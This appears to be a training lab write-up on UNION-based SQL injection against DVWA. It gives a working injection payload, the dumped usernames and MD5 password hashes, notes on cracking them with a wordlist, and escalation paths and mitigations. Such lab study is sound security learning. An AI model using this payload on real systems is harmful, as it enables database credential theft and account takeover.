🧪 OWASP Top 10 Lab — SQL Injection (DVWA)

📌 Category

A05: Injection

🎯 Objective

Demonstrate a classic UNION-based SQL Injection to extract user credentials from the backend database and understand real-world escalation potential.

🛠 Lab Environment

• DVWA (Docker)
• Kali Linux
• Browser testing
• Security Level: Low

🧠 Vulnerability Type

• Union-based SQL Injection
• Improper input sanitization
• Backend database disclosure

👣 Steps to Reproduce

1. Navigate to DVWA → SQL Injection module.
2. Enter a normal ID (e.g., 1) to observe baseline response.
3. Test injection payload:

1' UNION SELECT user, password FROM users-- -

4. Observe database output rendered in the UI.

🧪 Observed Output

The injection returned multiple database rows containing usernames and password hashes.

admin  : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb: e99a18c428cb38d5f260853678922e03
1337   : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo  : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99

Hashes were identified as weak MD5 digests.

🔓 Hash Analysis

• 5f4dcc3b5aa765d61d8327deb882cf99 → password
• Multiple weak hashes cracked instantly using rockyou.txt
• Demonstrates poor credential storage practices

📸 Evidence

SQL Injection Payload

Database Dump Output

Cracked Hash Result

💥 Impact

• Full database credential disclosure
• Password hash extraction
• Offline cracking → account takeover
• Potential admin compromise

🚨 Real-World Severity Mapping

• SQLi → Admin Panel Takeover
• SQLi → JWT Secret Extraction
• SQLi → Session Hijacking
• SQLi → Remote Code Execution (advanced cases)

In production environments, SQL injection often leads to complete application compromise when chained with weak password storage or exposed secrets.

🛡 Mitigation

• Use parameterized queries / prepared statements
• Input validation and sanitization
• Least-privilege database roles
• Strong password hashing (bcrypt/argon2)
• WAF detection for injection patterns

🧠 Key Learning

SQL Injection remains one of the most dangerous web vulnerabilities because a single injection point can expose the entire backend database and enable multi-stage exploitation chains.

🐺 Personal Note

This lab demonstrates how a simple UNION-based injection can evolve into credential compromise and real-world breach scenarios. Understanding how to escalate SQLi impact is critical for modern bug bounty hunting.